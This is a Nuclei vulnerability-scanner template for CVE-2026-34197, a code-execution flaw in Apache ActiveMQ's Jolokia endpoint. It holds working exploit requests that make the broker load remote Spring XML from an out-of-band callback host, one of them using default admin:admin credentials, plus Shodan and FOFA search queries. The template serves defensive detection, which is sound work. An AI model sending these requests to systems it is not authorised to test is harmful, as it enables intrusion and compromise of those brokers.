id: CVE-2026-34197 info: name: Apache ActiveMQ - Remote Code Execution author: DhiyaneshDk,horizon3 severity: critical description: | Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue. impact: | Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise. remediation: | Upgrade to version 5.19.5 or 6.2.3 or later. reference: - https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ - https://activemq.apache.org/security-advisories - https://nvd.nist.gov/vuln/detail/CVE-2026-34197 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2026-34197 epss-score: 0.9722 epss-percentile: 0.99888 cwe-id: CWE-94 metadata: verified: true max-request: 2 vendor: apache product: activemq shodan-query: title:"ActiveMQ" port:8161 fofa-query: title="ActiveMQ" && port="8161" tags: cve,cve2026,activemq,jolokia,rce,oast,java,oob,kev,vkev variables: filename: "{{to_lower(rand_text_alpha(5))}}" string: "{{to_lower(rand_text_alpha(6))}}" http: - raw: - | POST /api/jolokia/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Origin: {{RootURL}} [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}] - | POST /api/jolokia/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Origin: {{RootURL}} Authorization: Basic YWRtaW46YWRtaW4= [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}] stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - '[{"request":{' - 'org.apache.activemq' condition: and - type: word part: interactsh_protocol words: - "http" - "dns" condition: or - type: status status: - 200 # digest: 4a0a004730450221008ecc37e0ba85e5d1327bae16748b3f88179482497d1c5007754aae56f1d4d27e02207106ae138f363ed4b411ae33d99657cd57a9cf8114f53b550146f12831596fd6:922c64590222798bb761d5b6d8e72950